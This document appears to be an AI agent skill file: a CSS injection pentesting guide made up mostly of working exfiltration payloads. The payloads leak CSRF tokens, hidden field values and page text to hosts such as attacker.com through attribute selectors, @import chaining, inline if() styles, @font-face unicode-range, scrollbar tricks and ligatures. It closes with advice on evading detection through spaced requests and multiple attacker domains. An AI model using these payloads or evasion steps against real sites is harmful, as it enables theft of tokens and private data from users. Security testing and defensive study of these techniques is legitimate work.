CSS Injection Pentesting
A comprehensive guide to CSS injection attack techniques for web security assessments.
When to Use This Skill
Use this skill when:
- You've identified a CSS injection vulnerability in a web application
- You need to exfiltrate data through CSS selectors and properties
- You're performing XSS search (XS-Search) using CSS techniques
- You need to enumerate hidden form fields, tokens, or sensitive data
- You're testing for blind CSS exfiltration scenarios
- You need to leverage CSS primitives for information disclosure
Prerequisites
Before attempting CSS injection attacks, verify:
- Payload Length: The injection vector must support sufficiently long payloads
- CSS Re-evaluation: Ability to trigger CSS re-evaluation (often requires framing the page)
- External Resources: Ability to load external images/resources (check CSP restrictions)
- Browser Support: Some techniques require specific browser features (e.g.,
if(),:has)
Technique 1: Attribute Selector Exfiltration
Extract data from input element attributes using CSS selectors.
Basic Pattern
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* Repeat for all characters: 0-9, a-z, A-Z, special chars */
Bypass for Hidden Elements
Hidden inputs don't load backgrounds. Use the general sibling combinator:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
How it works: Targets any element following the hidden input, triggering the background load.
Blind Attribute Selector with :has and :not
For blind pages where you don't know the DOM structure:
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
This identifies content even from blind elements by combining :has and :not selectors.
Technique 2: @import Chained Exfiltration
Advanced technique by Pepe Vila that loads the page once and chains exfiltration through @import.
Payload Structure
@import url("//attacker.com:5001/start?");
Attack Flow
- Victim loads page with
@importto attacker server - Attacker sends CSS with:
- Another
@import(held pending) - Attribute selector payload to leak first/last character
- Another
- Attacker receives first/last char, responds to pending
@import - Repeat for second/penultimate character
- Continue until full secret is leaked
Key Advantages
- Only one initial payload needed
- No need to send multiple links to victim
- No iframe requirement
- Leaks 2 characters per iteration (prefix + suffix)
Selector Patterns
/* Match beginning of value */
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* Match end of value */
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Technique 3: Inline-Style CSS Exfiltration
Exfiltrate data using only an element's inline style attribute. Requires Chromium-based browsers.
Prerequisites
- Control over an element's
styleattribute - Target attribute must be on the same element (
attr()reads only same-element attributes) - Browser supports CSS
if()conditionals
Basic Pattern
<div style='--val: attr(data-username);
--steal: if(style(--val:"martin"): url(https://attacker.tld/martin);
else: if(style(--val:"zak"): url(https://attacker.tld/zak);
else: url(https://attacker.tld/james)));
background: image-set(var(--steal));'
data-username="james">
test
</div>
Critical Notes
- Double quotes required in
if()comparisons (single quotes won't match) - Works best for finite/enumerable value spaces (IDs, flags, short usernames)
- Any CSS property that fetches URLs can trigger the request:
background/image-setborder-imagelist-stylecursorcontent
Enumerating Values
<div style='--val: attr(data-uid);
--steal: if(style(--val:"1"): url(/1);
else: if(style(--val:"2"): url(/2);
else: if(style(--val:"3"): url(/3);
else: url(/4))));
background: image-set(var(--steal));'
data-uid='1'></div>
Technique 4: @font-face with unicode-range
Extract text content by loading fonts only for specific Unicode characters present in the page.
Basic Pattern
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A);
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B);
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C);
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
Result: If text contains "AB", only ?A and ?B are fetched. ?C is not loaded.
Error-Based XS-Search
Use @font-face to detect resource availability:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
How it works: If favicon.ico fails to load, fallback text "A" is displayed using the custom font, triggering the leak request.
Technique 5: Text Node Exfiltration with Default Fonts
Leak charset using pre-installed fonts (no external assets required).
Comic Sans Height Trick
Comic Sans is taller than default fonts. Use this to trigger scrollbars:
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
/* Repeat for all characters */
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto;
overflow-x: hidden;
height: 40px;
font-size: 0px;
font-family: rest;
width: 0px;
animation: loop step-end 200s 0s, trychar step-end 2s 0s;
animation-iteration-count: 1, infinite;
}
div.leak::first-line {
font-size: 30px;
text-transform: uppercase;
}
@keyframes trychar {
5% {
font-family: has_A, rest;
--leak: url(?a);
}
/* Repeat for all characters */
}
@keyframes loop {
0% { width: 0px; }
1% { width: 20px; }
/* Increment width to expose characters one at a time */
}
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
How it works:
- Animation expands div width, moving characters from suffix to prefix
- When a character enters prefix, trychar animation tests if it matches
- If match, Comic Sans is applied, making text taller
- Vertical scrollbar appears, triggering the leak URL
Technique 6: Scroll-to-Text Fragment
Exploit the :target pseudo-class with Scroll-to-text fragments.
Payload
:target::before {
content: url(http://attackers-domain/?confirmed_existence_of_Administrator_username);
}
Attack URL
http://target.com/page?note=<style>:target::before{content:url(http://attacker/?leak)}</style>#:~:text=Administrator
How it works: If "Administrator" exists on the page, the fragment targets it, triggering the CSS rule and loading the attacker's resource.
Limitations
- Only matches words/sentences (not arbitrary secrets)
- Works only in top-level browsing contexts (not iframes)
- Requires user activation (clicking the link)
Technique 7: Ligature-Based Exfiltration
Extract text by exploiting font ligatures and width changes.
Process
Create SVG fonts with glyphs having large
horiz-adv-xfor character pairs:<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>Detect width changes via scrollbar:
body { white-space: nowrap; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }Iterative process:
- Detect 2-character ligatures
- Generate 3-character ligatures with detected pair
- Repeat until full text is revealed
Technique 8: Other CSS Selectors
Additional selectors for DOM access:
nth-child
.class-to-search:nth-child(2) {
background-image: url(http://attacker.com/?second);
}
:empty Selector
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Practical Considerations
CSP Bypasses
- Check if
unsafe-inlineis allowed - Look for
style-srcthat permits external resources - Test if
font-srcallows external fonts - Verify
img-srcfor background image loading
Browser Compatibility
| Technique | Chrome | Firefox | Safari |
|---|---|---|---|
| Attribute selectors | ✓ | ✓ | ✓ |
:has selector |
✓ | ✓ | ✓ |
if() conditionals |
✓ | ✗ | ✗ |
@import chaining |
✓ | ✓ | ✓ |
unicode-range |
✓ | ✓ | ✓ |
| Scroll-to-text | ✓ | ✓ | ✓ |
Rate Limiting
- Space out requests to avoid detection
- Use multiple attacker domains
- Implement delays between character leaks